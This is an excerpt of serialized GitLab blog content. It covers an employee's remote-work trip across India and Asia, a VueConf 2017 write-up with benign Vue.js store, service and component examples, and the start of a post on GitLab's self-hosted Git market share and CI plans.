xmlns=\"http://www.w3.org/2000/svg\">\u003Cpath d=\"M.44 10.13l8.345 8.345 2.007-2.007-6.814-6.814 6.814-6.815L8.785.832.44 9.177a.652.652 0 0 0-.202.477c0 .183.067.343.202.477z\" fill-rule=\"evenodd\"/>\u003C/svg>\n    \u003Cspan class=\"sr-only\">Previous\u003C/span>\n  \u003C/a>\n  \u003Ca class=\"right carousel-control\" href=\"#carousel-example-generic-1\" role=\"button\" data-slide=\"next\">\n    \u003Csvg class=\"glyphicon glyphicon-chevron-right\" width=\"11\" height=\"19\" viewBox=\"0 0 11 19\" xmlns=\"http://www.w3.org/2000/svg\">\u003Cpath d=\"M10.59 10.13l-8.344 8.345L.24 16.468l6.814-6.814L.24 2.839 2.246.832l8.345 8.345a.652.652 0 0 1 .201.477.652.652 0 0 1-.201.477z\" fill-rule=\"evenodd\"/>\u003C/svg>\n    \u003Cspan class=\"sr-only\">Next\u003C/span>\n  \u003C/a>\n\u003C/div>\n\n### Mumbai\n\nNext up [Mumbai, India][mumbai]. With a flight of around 9 hours, just the sheer scale of the distance we communicate over each day across the web suddenly becomes very real. After receiving a lot of help from [Arihant][arihant], I had a safe place to sleep in the busiest city I have ever seen. [Kindness][kindness] really is one of our core values.\n\n[Mumbai][mumbai] was a fascinating city, one of absolutes. A city where there is a lot of everything, good and bad. It has and still is growing at such a pace, that reality can't really keep up. There is however so much potential!\n\n\u003C!-- carousel -->\n\n\u003Cdiv id=\"carousel-example-generic-2\" class=\"carousel slide\" data-ride=\"carousel\" data-interval=\"10000\">\n  \u003C!-- Indicators -->\n  \u003Col class=\"carousel-indicators\">\n    \u003Cli data-target=\"#carousel-example-generic-2\" data-slide-to=\"0\" class=\"active\">\u003C/li>\n    \u003Cli data-target=\"#carousel-example-generic-2\" data-slide-to=\"1\">\u003C/li>\n  \u003C/ol>\n\n  \u003C!-- Wrapper for slides -->\n  \u003Cdiv class=\"carousel-inner\" role=\"listbox\">\n    \u003Cdiv class=\"item active\">\n      \u003Cimg src=\"/images/blogimages/there-and-back-again-in-one-release/mumbai_1.jpg\" alt=\"Mumbai highway\">\n    \u003C/div>\n    \u003Cdiv class=\"item\">\n      \u003Cimg src=\"/images/blogimages/there-and-back-again-in-one-release/mumbai_food.jpg\" alt=\"Indian food\">\n    \u003C/div>\n  \u003C/div>\n\n  \u003C!-- Controls -->\n  \u003Ca class=\"left carousel-control\" href=\"#carousel-example-generic-2\" role=\"button\" data-slide=\"prev\">\n    \u003Csvg class=\"glyphicon glyphicon-chevron-left\" width=\"11\" height=\"19\" viewBox=\"0 0 11 19\" xmlns=\"http://www.w3.org/2000/svg\">\u003Cpath d=\"M.44 10.13l8.345 8.345 2.007-2.007-6.814-6.814 6.814-6.815L8.785.832.44 9.177a.652.652 0 0 0-.202.477c0 .183.067.343.202.477z\" fill-rule=\"evenodd\"/>\u003C/svg>\n    \u003Cspan class=\"sr-only\">Previous\u003C/span>\n  \u003C/a>\n  \u003Ca class=\"right carousel-control\" href=\"#carousel-example-generic-2\" role=\"button\" data-slide=\"next\">\n    \u003Csvg class=\"glyphicon glyphicon-chevron-right\" width=\"11\" height=\"19\" viewBox=\"0 0 11 19\" xmlns=\"http://www.w3.org/2000/svg\">\u003Cpath d=\"M10.59 10.13l-8.344 8.345L.24 16.468l6.814-6.814L.24 2.839 2.246.832l8.345 8.345a.652.652 0 0 1 .201.477.652.652 0 0 1-.201.477z\" fill-rule=\"evenodd\"/>\u003C/svg>\n    \u003Cspan class=\"sr-only\">Next\u003C/span>\n  \u003C/a>\n\u003C/div>\n\nThe amount of people is staggering, which results in the worst traffic I have ever seen. However as [Arihant][arihant] showed me, has the most delicious variety in food I have ever tasted. People are always ready to help you and after some time, you know how to get around!\n\nWhen you are working remotely while traveling, you are very reliant on a decent internet connection. In [India][india] apparently, you can depend fully on mobile internet, rather than on wifi. Working together with [Arihant][arihant] has been a blast and gave some insights as to how others plan out their days.\n\nI am very thankful to have had the opportunity to be introduced to his family, even cook with them, and to experience [India][india] as he does. Thanks [Arihant][arihant]!\n\n__Fun facts:__\n- My hotel, made use of a new concept called pods. It was like sleeping in a spaceship. [See for yourself][urbanpod]!\n- Driving on a scooter in [Mumbai][mumbai] is not for the faint of heart.\n- Tessa, my girlfriend back home who was very supportive of my intentions to make this trip, asked a favour of me while I was in [Mumbai][mumbai]. To try and watch Netflix together, as with traveling comes some form of a remote bonding. Soon we found out that the content library in [India][india] is not the same as back home. Why Netflix, why? [Google Duo][googleduo] to the rescue though, as I managed to watch an episode of \"The Americans\" through her phone on our tv back home. Speaking of perseverance. Thanks Google!\n\nIn the last days in [Mumbai][mumbai], my friends from home decided to join me. After enjoying the market and various street food it was time to travel to [Pune][pune], to meet with [Kushal][kushal].\n\n![mumbai photo](https://about.gitlab.com/images/blogimages/there-and-back-again-in-one-release/mumbai_2.jpg)\n\n### Pune\n\nIn [Mumbai][mumbai] I mostly worked from my Hotel. It had AC which is something you learn to appreciate when it's there. In [Pune][pune], [Kushal][kushal] arranged for a nice workplace at a flex workspace called [Bootstart][bootstart]. While my friends updated their blogs, me and [Kushal][kushal] collaborated on and discussed GitLab. A typical workday in [India][india].\n\n\u003C!-- carousel -->\n\n\u003Cdiv id=\"carousel-example-generic-3\" class=\"carousel slide\" data-ride=\"carousel\" data-interval=\"10000\">\n  \u003C!-- Indicators -->\n  \u003Col class=\"carousel-indicators\">\n    \u003Cli data-target=\"#carousel-example-generic-3\" data-slide-to=\"0\" class=\"active\">\u003C/li>\n    \u003Cli data-target=\"#carousel-example-generic-3\" data-slide-to=\"1\">\u003C/li>\n  \u003C/ol>\n\n  \u003C!-- Wrapper for slides -->\n  \u003Cdiv class=\"carousel-inner\" role=\"listbox\">\n    \u003Cdiv class=\"item active\">\n      \u003Cimg src=\"/images/blogimages/there-and-back-again-in-one-release/pune_1.jpg\" alt=\"Having dinner with Kushal and friends\">\n    \u003C/div>\n    \u003Cdiv class=\"item\">\n      \u003Cimg src=\"/images/blogimages/there-and-back-again-in-one-release/goa_bus.jpg\" alt=\"Indian sleeper bus\">\n    \u003C/div>\n  \u003C/div>\n\n  \u003C!-- Controls -->\n  \u003Ca class=\"left carousel-control\" href=\"#carousel-example-generic-3\" role=\"button\" data-slide=\"prev\">\n    \u003Csvg class=\"glyphicon glyphicon-chevron-left\" width=\"11\" height=\"19\" viewBox=\"0 0 11 19\" xmlns=\"http://www.w3.org/2000/svg\">\u003Cpath d=\"M.44 10.13l8.345 8.345 2.007-2.007-6.814-6.814 6.814-6.815L8.785.832.44 9.177a.652.652 0 0 0-.202.477c0 .183.067.343.202.477z\" fill-rule=\"evenodd\"/>\u003C/svg>\n    \u003Cspan class=\"sr-only\">Previous\u003C/span>\n  \u003C/a>\n  \u003Ca class=\"right carousel-control\" href=\"#carousel-example-generic-3\" role=\"button\" data-slide=\"next\">\n    \u003Csvg class=\"glyphicon glyphicon-chevron-right\" width=\"11\" height=\"19\" viewBox=\"0 0 11 19\" xmlns=\"http://www.w3.org/2000/svg\">\u003Cpath d=\"M10.59 10.13l-8.344 8.345L.24 16.468l6.814-6.814L.24 2.839 2.246.832l8.345 8.345a.652.652 0 0 1 .201.477.652.652 0 0 1-.201.477z\" fill-rule=\"evenodd\"/>\u003C/svg>\n    \u003Cspan class=\"sr-only\">Next\u003C/span>\n  \u003C/a>\n\u003C/div>\n\nAfter a day with more awesome Indian food, me and my friends had to catch our bus to [Goa][goa]. This seemed easy, but was in the end quite the adventure. Quickly having to move to various locations where the bus might stop, jumping in and out auto rickshaws (Indian tuk tuks), plus [Kushal][kushal] speaking with the bus driver in yet another language, resulted in. Thanks [Kushal][kushal]!\n\n### Goa\n\nJust 12 hours and a flat tire later, we arrived in a [Goa][goa]. This was my in between mini-holiday. Mainly having a good time with my friends and converting from a digital nomad to a backpacker.\n\nThis proved to be quite the change, in a fun way. Hostels instead of hotels, and the cheaper the better. Our first hostel was just 100 INR, which is around 1.5 USD!\n\n\n\u003C!-- carousel -->\n\n\u003Cdiv id=\"carousel-example-generic-4\" class=\"carousel slide\" data-ride=\"carousel\" data-interval=\"10000\">\n  \u003C!-- Indicators -->\n  \u003Col class=\"carousel-indicators\">\n    \u003Cli data-target=\"#carousel-example-generic-4\" data-slide-to=\"0\" class=\"active\">\u003C/li>\n    \u003Cli data-target=\"#carousel-example-generic-4\" data-slide-to=\"1\">\u003C/li>\n  \u003C/ol>\n\n  \u003C!-- Wrapper for slides -->\n  \u003Cdiv class=\"carousel-inner\" role=\"listbox\">\n    \u003Cdiv class=\"item active\">\n      \u003Cimg src=\"/images/blogimages/there-and-back-again-in-one-release/goa_beach.jpg\" alt=\"On the beach with friends\">\n    \u003C/div>\n    \u003Cdiv class=\"item\">\n      \u003Cimg src=\"/images/blogimages/there-and-back-again-in-one-release/goa_market.jpg\" alt=\"Indian nightmarkets\">\n    \u003C/div>\n  \u003C/div>\n\n  \u003C!-- Controls -->\n  \u003Ca class=\"left carousel-control\" href=\"#carousel-example-generic-4\" role=\"button\" data-slide=\"prev\">\n    \u003Csvg class=\"glyphicon glyphicon-chevron-left\" width=\"11\" height=\"19\" viewBox=\"0 0 11 19\" xmlns=\"http://www.w3.org/2000/svg\">\u003Cpath d=\"M.44 10.13l8.345 8.345 2.007-2.007-6.814-6.814 6.814-6.815L8.785.832.44 9.177a.652.652 0 0 0-.202.477c0 .183.067.343.202.477z\" fill-rule=\"evenodd\"/>\u003C/svg>\n    \u003Cspan class=\"sr-only\">Previous\u003C/span>\n  \u003C/a>\n  \u003Ca class=\"right carousel-control\" href=\"#carousel-example-generic-4\" role=\"button\" data-slide=\"next\">\n    \u003Csvg class=\"glyphicon glyphicon-chevron-right\" width=\"11\" height=\"19\" viewBox=\"0 0 11 19\" xmlns=\"http://www.w3.org/2000/svg\">\u003Cpath d=\"M10.59 10.13l-8.344 8.345L.24 16.468l6.814-6.814L.24 2.839 2.246.832l8.345 8.345a.652.652 0 0 1 .201.477.652.652 0 0 1-.201.477z\" fill-rule=\"evenodd\"/>\u003C/svg>\n    \u003Cspan class=\"sr-only\">Next\u003C/span>\n  \u003C/a>\n\u003C/div>\n\nSwimming, clubbing and enjoying the sun. Meeting a lot of new people and driving around on scooters. Eating mango's falling right off the trees. Visiting night markets and getting all relaxed. Leaving the chaos of the big cities behind.\n\n![enjoying the sun](https://about.gitlab.com/images/blogimages/there-and-back-again-in-one-release/goa_sun.jpg){: .vista}\n\n### Siem Reap\n\nTime flies and I do too! [Siem Reap, Cambodia][siemreap] was up next, with a small transit in [Hyderabad][hyderabad] and [Singapore][singapore]. [Collen][collen] soon picked me up at the airport with a Cambodian Tuk tuk. Having met each other in Mexico, it was easy to fall into the same flow as back there. In other words, great times ahead.\n\n\u003C!-- carousel -->\n\n\u003Cdiv id=\"carousel-example-generic-5\" class=\"carousel slide\" data-ride=\"carousel\" data-interval=\"10000\">\n  \u003C!-- Indicators -->\n  \u003Col class=\"carousel-indicators\">\n    \u003Cli data-target=\"#carousel-example-generic-5\" data-slide-to=\"0\" class=\"active\">\u003C/li>\n    \u003Cli data-target=\"#carousel-example-generic-5\" data-slide-to=\"1\">\u003C/li>\n    \u003Cli data-target=\"#carousel-example-generic-5\" data-slide-to=\"2\">\u003C/li>\n  \u003C/ol>\n\n  \u003C!-- Wrapper for slides -->\n  \u003Cdiv class=\"carousel-inner\" role=\"listbox\">\n    \u003Cdiv class=\"item active\">\n      \u003Cimg src=\"/images/blogimages/there-and-back-again-in-one-release/siemreap_airportcollen.jpg\" alt=\"siem reap tuk tuk photo\">\n    \u003C/div>\n    \u003Cdiv class=\"item\">\n      \u003Cimg src=\"/images/blogimages/there-and-back-again-in-one-release/siemreap_crocodiles.jpg\" alt=\"Crocodile farm in residential neighbourhood\">\n    \u003C/div>\n    \u003Cdiv class=\"item\">\n      \u003Cimg src=\"/images/blogimages/there-and-back-again-in-one-release/siemreap_angkorwat_tree.jpg\" alt=\"tree in Angkor Wat\">\n    \u003C/div>\n\n  \u003C/div>\n\n  \u003C!-- Controls -->\n  \u003Ca class=\"left carousel-control\" href=\"#carousel-example-generic-5\" role=\"button\" data-slide=\"prev\">\n    \u003Csvg class=\"glyphicon glyphicon-chevron-left\" width=\"11\" height=\"19\" viewBox=\"0 0 11 19\" xmlns=\"http://www.w3.org/2000/svg\">\u003Cpath d=\"M.44 10.13l8.345 8.345 2.007-2.007-6.814-6.814 6.814-6.815L8.785.832.44 9.177a.652.652 0 0 0-.202.477c0 .183.067.343.202.477z\" fill-rule=\"evenodd\"/>\u003C/svg>\n    \u003Cspan class=\"sr-only\">Previous\u003C/span>\n  \u003C/a>\n  \u003Ca class=\"right carousel-control\" href=\"#carousel-example-generic-5\" role=\"button\" data-slide=\"next\">\n    \u003Csvg class=\"glyphicon glyphicon-chevron-right\" width=\"11\" height=\"19\" viewBox=\"0 0 11 19\" xmlns=\"http://www.w3.org/2000/svg\">\u003Cpath d=\"M10.59 10.13l-8.344 8.345L.24 16.468l6.814-6.814L.24 2.839 2.246.832l8.345 8.345a.652.652 0 0 1 .201.477.652.652 0 0 1-.201.477z\" fill-rule=\"evenodd\"/>\u003C/svg>\n    \u003Cspan class=\"sr-only\">Next\u003C/span>\n  \u003C/a>\n\u003C/div>\n\nCynthia, Collen's significant other, had arranged a wonderful AirBnb. Pure luxury after my time in [Goa][goa]. Oh, and did I tell about our crocodile neighbours?\n\nSoon I came to know this touristy little city booming with activity, by working together at the [Angkor Hub][angkorhub], eating at various Australian food joints like [this one][sistersreycafe], and going to the highlight of the area; [Angkor Wat][angkorwat].\n\nI would be the first to admit that this place is incredible. It is another ancient civilisation's legacy of which there are massive remains in the middle of the jungle. The sheer scale is enormous and captivating. Being used myself to the Roman and Celtic ruins scattered throughout Europe, this was an eye opener. Especially the old buildings covered with trees are a sight to behold.\n\nAll of this pleasantry must come to an end of course. Thanks for the awesome times [Collen][collen] and Cynthia!\n\n![siem reap tuk tuk photo](https://about.gitlab.com/images/blogimages/there-and-back-again-in-one-release/siemreap_angkorwat.jpg)\n\n### Bangkok\n\nLast up my list was [Taipei, Taiwan][taipei], with a small transit through [Bangkok, Thailand][bangkok]. At the airport I met [Patai][patai], who was familiar with GitLab. With our flight being delayed, this was a nice way to kill the time and do a bit of evangelising.\n\n![evangelising](https://about.gitlab.com/images/blogimages/there-and-back-again-in-one-release/thailand_patai.jpg)\n\n### Taipei\n\nI arrived late at night and got fairly quickly to my Hostel, where I would stay the rest of my days in [Taipei][taipei]. Both the city and the [Hostel][meander] were very modern, clear and approachable. I soon came to know about the excellent subway system and again lovely food.\n\nThe next day I met up with [Hazel][hazel], which was a happy moment. Apparently, I was the first GitLab team-member she has ever met! Soon we were going about the city, sightseeing temples and local markets. After working together we even did some ice skating, which I love to do!\n\n\u003C!-- carousel -->\n\n\u003Cdiv id=\"carousel-example-generic-6\" class=\"carousel slide\" data-ride=\"carousel\" data-interval=\"10000\">\n  \u003C!-- Indicators -->\n  \u003Col class=\"carousel-indicators\">\n    \u003Cli data-target=\"#carousel-example-generic-6\" data-slide-to=\"0\" class=\"active\">\u003C/li>\n    \u003Cli data-target=\"#carousel-example-generic-6\" data-slide-to=\"1\">\u003C/li>\n    \u003Cli data-target=\"#carousel-example-generic-6\" data-slide-to=\"2\">\u003C/li>\n  \u003C/ol>\n\n  \u003C!-- Wrapper for slides -->\n  \u003Cdiv class=\"carousel-inner\" role=\"listbox\">\n    \u003Cdiv class=\"item active\">\n      \u003Cimg src=\"/images/blogimages/there-and-back-again-in-one-release/taipei_working.jpg\" alt=\"taipei working together\">\n    \u003C/div>\n    \u003Cdiv class=\"item\">\n      \u003Cimg src=\"/images/blogimages/there-and-back-again-in-one-release/taipei_happy.jpg\" alt=\"Me and Hazel meet\">\n    \u003C/div>\n    \u003Cdiv class=\"item\">\n      \u003Cimg src=\"/images/blogimages/there-and-back-again-in-one-release/taipei_hazel_and_jenshin.jpg\" alt=\"Hazel and Jen-shin meet\">\n    \u003C/div>\n  \u003C/div>\n\n  \u003C!-- Controls -->\n  \u003Ca class=\"left carousel-control\" href=\"#carousel-example-generic-6\" role=\"button\" data-slide=\"prev\">\n    \u003Csvg class=\"glyphicon glyphicon-chevron-left\" width=\"11\" height=\"19\" viewBox=\"0 0 11 19\" xmlns=\"http://www.w3.org/2000/svg\">\u003Cpath d=\"M.44 10.13l8.345 8.345 2.007-2.007-6.814-6.814 6.814-6.815L8.785.832.44 9.177a.652.652 0 0 0-.202.477c0 .183.067.343.202.477z\" fill-rule=\"evenodd\"/>\u003C/svg>\n    \u003Cspan class=\"sr-only\">Previous\u003C/span>\n  \u003C/a>\n  \u003Ca class=\"right carousel-control\" href=\"#carousel-example-generic-6\" role=\"button\" data-slide=\"next\">\n    \u003Csvg class=\"glyphicon glyphicon-chevron-right\" width=\"11\" height=\"19\" viewBox=\"0 0 11 19\" xmlns=\"http://www.w3.org/2000/svg\">\u003Cpath d=\"M10.59 10.13l-8.344 8.345L.24 16.468l6.814-6.814L.24 2.839 2.246.832l8.345 8.345a.652.652 0 0 1 .201.477.652.652 0 0 1-.201.477z\" fill-rule=\"evenodd\"/>\u003C/svg>\n    \u003Cspan class=\"sr-only\">Next\u003C/span>\n  \u003C/a>\n\u003C/div>\n\n[Jen-shin][jen-shin] lives in the same city, another opportunity! As I was not feeling too well on that day, we saw some of the more controversial structures in the city. The original plan was to go to one of the many waterfalls around there. A good reason to return one day.\n\nOn the last day we all managed to meet up, making it so, that [Hazel][hazel] and [Jen-shin][jen-shin] finally met each other as well. In other words, interconnecting GitLab. Thanks [Hazel][hazel] and [Jen-shin][jen-shin], for this awesome time together.\n\n## Going back again\n\nMy way back, was a bit rough, with a transit time of 16 hours in [Shanghai, China][shanghai]. It is strange how different the internet feels without services like Google, Facebook and so on, because of [the great firewall of China][greatfirewall]. I can only say that, this was by far the worst online experience I have had throughout my trip. Time to step up [China][china], openness is the answer!\n\nArriving back in the [Netherlands][netherlands], I quickly came to appreciate things that before went by unnoticed. This trip has opened up new insights into how things are and could be. Differences in culture and the way people live and work is what breathes character and what enriches the world. I hope we all interconnect even more, to see what great things are yet to be.\n\n![worldmap photo](https://about.gitlab.com/images/blogimages/there-and-back-again-in-one-release/full-globe-map-trip.jpg){: .vista}\n\nLooking at the complete journey I have made, it becomes clear that no distance is too big in order to connect, work together and have fun. It has been a life enriching experience for which I am happy and thankful to have had the opportunity. Thanks GitLab and all the people that I could visit and meet, it was an absolute pleasure to [get to know each other][gettoknow].\n\n## Sharing experience\n\nA trip is not complete without finding what works and what doesn't. I want to see others succeed in working abroad as well, therefore I created a separate section in the [GitLab handbook][handbook-workingabroad] with tips and tools that I found most helpful on such journeys.\n\nDo you love the GitLab way of working? [Join our team](/jobs/)!\n\n",[676,3798],{"slug":35512,"featured":6,"template":678},"there-and-back-again-in-one-release","content:en-us:blog:there-and-back-again-in-one-release.yml","There And Back Again In One Release","en-us/blog/there-and-back-again-in-one-release.yml","en-us/blog/there-and-back-again-in-one-release",{"_path":35518,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":35519,"content":35525,"config":35530,"_id":35532,"_type":16,"title":35533,"_source":17,"_file":35534,"_stem":35535,"_extension":20},"/en-us/blog/gitlab-at-vue-conf",{"title":35520,"description":35521,"ogTitle":35520,"ogDescription":35521,"noIndex":6,"ogImage":35522,"ogUrl":35523,"ogSiteName":1180,"ogType":1181,"canonicalUrls":35523,"schema":35524},"GitLab was at VueConf 2017!","GitLab was at VueConf 2017 sharing how we use Vue.js.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749682980/Blog/Hero%20Images/cover_image.jpg","https://about.gitlab.com/blog/gitlab-at-vue-conf","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab was at VueConf 2017!\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Filipa Lacerda\"}],\n        \"datePublished\": \"2017-06-29\",\n      }",{"title":35520,"description":35521,"authors":35526,"heroImage":35522,"date":35527,"body":35528,"category":299,"tags":35529},[34117],"2017-06-29","\nLast week I attended [VueConf 2017](https://conf.vuejs.org/) explaining how we, at GitLab, changed from [CoffeeScript](http://coffeescript.org/) to [EcmaScript 6](http://www.ecma-international.org/ecma-262/6.0/) and how we included [Vue.js](https://vuejs.org/) in our stack.\n\n\u003C!-- more -->\n\nVueConf took place in the beautiful city of [Wrocław](https://en.wikipedia.org/wiki/Wroc%C5%82aw) in Poland. Props to [Monterail](https://www.monterail.com/) for putting together such a well-organized conference.\n\nI had the pleasure of meeting all the speakers and organizers and the Vue community is inspiring. Everyone is kind and willing to share their knowledge. Having Evan You personally introduce everyone says a lot about the spirit of this community.\n\nThis conference would not have been possible without the help of the sponsors and organizers, thank you [Monterail](https://www.monterail.com/), [Codeship](https://codeship.com/), [Monaca](https://monaca.io/), [Native Script](https://www.nativescript.org/), [Evan You](https://twitter.com/youyuxi) and [Damian Dulisz](https://twitter.com/damiandulisz) for organizing such a great conference!\n\nIn the [slides for my talk](https://filipa.gitlab.io/vue_conf_2017/vue_gitlab_2017.pdf), I guide you through our journey from CoffeeScript to ES6 and from jQuery to Vue.js.\n\n## How we use Vue at GitLab\n\nAs stated in previous blog posts, we will not rewrite all our code in Vue.js. Instead, we will create several small Vue applications, which is similar to many small Single Page Applications.\n\nIn order to help us with state management, we chose a simple architecture and data flow to build our Vue Applications. We have a main Vue component, a service that allows us to get data and a store that saves the data we receive from the service:\n\n![architecture-1](https://about.gitlab.com/images/blogimages/gitlab-at-vue-conf/graph_arc_1.png \"Vue Application Architecture\")*\u003Csmall>Vue Application Architecture and Data Flow.\u003C/small>*\n\nWe start by adding an element to the DOM in the haml file, and point to a JavaScript file. We take advantage of `data-attributes` to transfer data we only have access in Rails through our Vue application.\n\n```html\n  #pipelines-list-vue{ data: {\n    endpoint: namespace_project_pipelines_path(@project),\n    \"help-page-path\" => help_page_path(@project),\n    \"all-path\" =>  project_pipelines_path(@project),\n    \"pending-path\" => project_pipelines_path(@projec),\n    \"ci-lint-path\" => ci_lint_path } }\n\n  = webpack_bundle_tag('common_vue')\n  = webpack_bundle_tag('pipelines')\n```\n\nThe next step is to create a bundle file where we are going to mount our application. We can say this is the index file of our application.\n\n```javascript\n  import Vue from 'vue';\n  import pipelinesComponent from './pipelines.vue';\n\n  document.addEventListener('DOMContentLoaded', () => {\n    return new Vue({\n      el: '#pipelines-list-vue',\n\n      components: {\n        pipelinesComponent,\n      },\n\n      render(createElement) {\n        return createElement('pipelines-component');\n      },\n    });\n  });\n```\n\nWe then need to create our store and our service, they are both simple classes. To communicate with our API we use `vue-resource` to help us.\n```javascript\n  // store.js\n  export default class PipelinesStore {\n    constructor() {\n      this.state.pipelines = [];\n    }\n    storePipelines(pipelines = []) {\n      this.state.pipelines = pipelines;\n    }\n  }\n```\n\n```javascript\n  // service.js\n  import Vue from 'vue';\n  import VueResource from 'vue-resource';\n\n  Vue.use(VueResource);\n\n  export default class PipelinesService {\n    constructor(endpoint) {\n      this.pipelines = Vue.resource(endpoint);\n    }\n    getPipelines(data = {}) {\n      return this.pipelines.get(data);\n    }\n    postAction(endpoint) {\n      return Vue.http.post(`${endpoint}.json`);\n    }\n  }\n```\n\nThe next step is to create our main component where we bind everything together. As soon as the component is created we make a call to the service, and if everything goes well, we tell the store to use the received data. If we get an error we simply show a warning to the user.\n\nUsually we have several smaller components that are used in the main one, that allows us not only to reuse them but also to have readable files.\n\n```vue\n\u003Cscript>\n  import Service from 'service';\n  import Store from 'store';\n\n  export default {\n    data() {\n      const dataset = document.querySelector('#pipelines-list-vue').dataset;\n      const store = new Store();\n      const service = new Service(endpoint);\n\n      return {\n        store,\n        service,\n      };\n    },\n    created() {\n      this.service.getPipelines()\n        .then((response) => response.json())\n        .then((pipelines) => this.store.storePipelines(pipelines))\n        .catch((error) => this.handleError(error));\n    },\n  };\n\u003C/script>\n\n\u003Ctemplate>\n  \u003Ctable>..\u003C/table>\n\u003C/template>\n```\nIn some places we have more complex cases where we can’t rewrite it all in Vue, and we’ll have to use html and jQuery as well.\n\nFor example, in the Pipelines' details page, only the header and the graph are built in Vue.js since are the only ones with real time data.\nIf we built this page with the architecture explained above, we would need to fetch data from the same endpoint twice, and we need to poll the same endpoint twice, which is not a good idea. To avoid duplicate network calls we created a mediator to act as our main component.\n\n![architecture-2](https://about.gitlab.com/images/blogimages/gitlab-at-vue-conf/graph_arc_2.png \"Vue Application Architecture with a Mediator\")*\u003Csmall>A Mediator allows us to reuse the same state between Vue Applications.\u003C/small>*\n\nThe mediator not only allows us to avoid duplicate network calls, it also allows us to share state between the two Vue Applications and reduce repeated code. It also has the major advantage that can be easily transformed into a Vue main component if needed.\n\nYou can read more about our architecture [here](https://docs.gitlab.com/ee/development/fe_guide/vue.html#vue-architecture). We have documentation explaining [when to use vue at GitLab](https://docs.gitlab.com/ee/development/fe_guide/vue.html#when-to-use-vue-js) and how to do it. We also have a small [style guide for our vue code](https://docs.gitlab.com/ee/development/fe_guide/style/javascript.html#vuejs).\n\n## Future plans for Vue at GitLab\n1. The next step is to make sure all our Vue code looks the same and is organized well.\n1. Other thing we need to do is to have all components in .vue files. You can see the issue [here](https://gitlab.com/gitlab-org/gitlab-ce/issues/34371).\n1. We also need to create reusable components. With all new Vue.js code being added at the same time we ended up with a lot of repeated code in Vue, which we have identified and are currently transforming into reusable components. You can see the issue [here](https://gitlab.com/gitlab-org/gitlab-ce/issues/30286).\n1. We need a linter. Vue is currently the only part of our frontend code that does not have a linter yet, although we have a style guide for Vue.js in our documentation. You can see the issue [here](https://gitlab.com/gitlab-org/gitlab-ce/issues/34312).\n1. We are currently experimenting adding Vuex to our stack to see if it can help us in more complex areas of our code. The merge request is [here](https://gitlab.com/gitlab-org/gitlab-ce/merge_requests/12069).\n\nHope to see you at the next VueConf! _Na zdrowie!_\n\n[Cover image](https://pixabay.com/en/wroc%C5%82aw-lower-silesia-architecture-1663406/) by [Przemysław Krzak](https://pixabay.com/en/users/przemokrzak-2778444/) is licensed under [CC0 1.0](https://creativecommons.org/publicdomain/zero/1.0/)\n",[11037,277],{"slug":35531,"featured":6,"template":678},"gitlab-at-vue-conf","content:en-us:blog:gitlab-at-vue-conf.yml","Gitlab At Vue Conf","en-us/blog/gitlab-at-vue-conf.yml","en-us/blog/gitlab-at-vue-conf",{"_path":35537,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":35538,"content":35543,"config":35548,"_id":35550,"_type":16,"title":35551,"_source":17,"_file":35552,"_stem":35553,"_extension":20},"/en-us/blog/whats-next-for-gitlab-ci",{"title":35539,"description":35540,"ogTitle":35539,"ogDescription":35540,"noIndex":6,"ogImage":35006,"ogUrl":35541,"ogSiteName":1180,"ogType":1181,"canonicalUrls":35541,"schema":35542},"From 2/3 of Git market to next-Gen CI system & auto DevOps","GitLab first became the standard for self hosting git with two-thirds of the market, then became the next generation CI system, and the next step is creating Auto DevOps.","https://about.gitlab.com/blog/whats-next-for-gitlab-ci","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"From 2/3 of the self-managed Git market, to the next-generation CI system, to Auto DevOps\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sid Sijbrandij\"}],\n        \"datePublished\": \"2017-06-29\",\n      }",{"title":35544,"description":35540,"authors":35545,"heroImage":35006,"date":35527,"body":35546,"category":8943,"tags":35547},"From 2/3 of the self-managed Git market, to the next-generation CI system, to Auto DevOps",[3532],"\n\nGitLab has transformed from offering just version control to becoming the first integrated product for DevOps. With GitLab you can go all the way from chatting about an idea to measuring it in production without spending time on configuring a bunch of tools. The version control part of GitLab is now used by 2/3 of the market that self host Git. The continuous integration (CI) part of GitLab is now the most popular next generation CI system. Today we introduce the future direction of GitLab: Auto DevOps.\n\n\u003C!-- more -->\n\nWhen we [announced our master plan in September of 2016](/blog/gitlab-master-plan/), we gave our vision for a tool that changes the way developers create software. Before the end of 2016 we [completed the master plan](/releases/2016/12/22/gitlab-8-15-released/) and introduced Auto Deploy. Auto Deploy evolved and sparked a vision for a more integrated DevOps experience. Today we have a video to present that vision of Auto DevOps.\n\n## GitLab has 2/3 market share in the self-managed Git market\n\nWith more than 100,000 organizations self-hosting GitLab, we have the largest share of companies who choose to host their own code. We’re estimated to have two-thirds of the single tenant market. When [Bitrise surveyed](http://blog.bitrise.io/2017/01/27/state-of-app-development-in-2016.html#self-hosted) ten thousand developers who build apps regularly on their platform, they found that 67 percent of self-managed apps prefer GitLab’s on-premise solution.\n\n![Image via Bitrise blog](https://about.gitlab.com/images/blogimages/bitrise-self-hosted-chart.png){: .shadow}\u003Cbr>\n\nSimilarly, in their survey of roughly one thousand development teams, [BuddyBuild found](https://www.buddybuild.com/blog/source-code-hosting#selfhosted) that 79% of mobile developers who host their own code have chosen GitLab:\n\n![Image via buddybuild blog](https://about.gitlab.com/images/blogimages/buddybuild-self-hosted-chart.png){: .shadow}\u003Cbr>\n\nIn their articles, both Bitrise and BuddyBuild note that few organizations use self-managed instances. We think there is a selection effect since both of them are SaaS-only offerings. Based on our experience, in large organizations (over 750 people), it is still more common to self host your Git server (frequently on a cloud service like AWS or GCP) than to use a SaaS service.\n\n## GitLab CI is the most popular next-generation CI system\n\nOur commitment to seamless integration extends to CI. Integrated [CI/CD](/topics/ci-cd/) is both more time and resource efficient than a set of distinct tools, and allows developers greater control over their build pipeline, so they can spot issues early and address them at a relatively low cost. Tighter integration between different stages of the development process makes it easier to cross-reference code, tests, and deployments while discussing them, allowing you to see the full context and iterate much more rapidly. We've heard from customers like [Ticketmaster](/blog/continuous-integration-ticketmaster/) that adopting GitLab CI can transform the entire software development lifecycle (SDLC), in their case helping the Ticketmaster mobile development team deliver on the longstanding goal of 